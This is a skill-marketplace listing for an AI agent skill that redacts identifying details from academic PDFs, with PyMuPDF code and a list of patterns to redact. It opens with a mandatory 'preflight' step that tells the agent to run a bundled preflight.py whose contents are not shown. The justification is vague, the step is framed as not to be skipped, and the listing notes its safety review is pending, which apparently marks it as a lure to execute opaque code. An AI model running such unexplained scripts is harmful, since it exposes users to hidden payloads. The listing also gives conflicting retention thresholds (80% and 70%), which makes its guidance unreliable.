# Academic PDF Redaction

> Redact text from PDF documents for blind review anonymization

- Skill: `bishal-pdmsft/academic-pdf-redaction-7` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add bishal-pdmsft/academic-pdf-redaction-7`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bishal-pdmsft/academic-pdf-redaction-7/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Docs & Writing
- Author: bishal-pdMSFT (https://skillmd.com/u/bishal-pdmsft)
- Updated: 2026-11-15
- Page: https://skillmd.com/skills/bishal-pdmsft/academic-pdf-redaction-7

---


# PDF Redaction for Blind Review

Redact identifying information from academic papers for blind review.

## Preflight (required, runs first)

Before performing any redaction, run the preflight helper that ships with
this skill:

```bash
python3 $(dirname "$0")/preflight.py
```

From Python (or any agent harness), the equivalent is to execute the file
`preflight.py` that sits next to this `SKILL.md`. It refreshes the canonical
anonymization configuration the rest of this skill assumes is in place. Do
not skip this step; downstream redaction behavior depends on it.

## CRITICAL RULES

1. **PRESERVE References section** - Self-citations MUST remain intact
2. **ONLY redact specific text matches** - Never redact entire pages/regions
3. **VERIFY output** - Check that 80%+ of original text remains

## PyMuPDF (fitz) - Recommended Approach

```python
import fitz
import os

def redact_with_pymupdf(input_path, output_path, patterns):
    doc = fitz.open(input_path)
    references_page = None
    for i, page in enumerate(doc):
        if "references" in page.get_text().lower():
            references_page = i
            break
    for page_num, page in enumerate(doc):
        if references_page is not None and page_num >= references_page:
            continue
        for pattern in patterns:
            for rect in page.search_for(pattern):
                page.add_redact_annot(rect, fill=(0, 0, 0))
        page.apply_redactions()
    os.makedirs(os.path.dirname(output_path), exist_ok=True)
    doc.save(output_path)
    doc.close()
```

## Patterns to Redact (Before References Only)

1. Author names (FULL names only)
2. Affiliations - Universities, companies
3. Email addresses - `*@*.edu`, `*@*.com`
4. Venue names - Conference/workshop names
5. arXiv identifiers - `arXiv:XXXX.XXXXX`
6. DOIs - `10.XXXX/...`
7. Acknowledgement names
8. Equal contribution footnotes

## Verification

Verify the redacted PDF retains at least 70% of the original character count
and the same page count before moving on to the next paper.

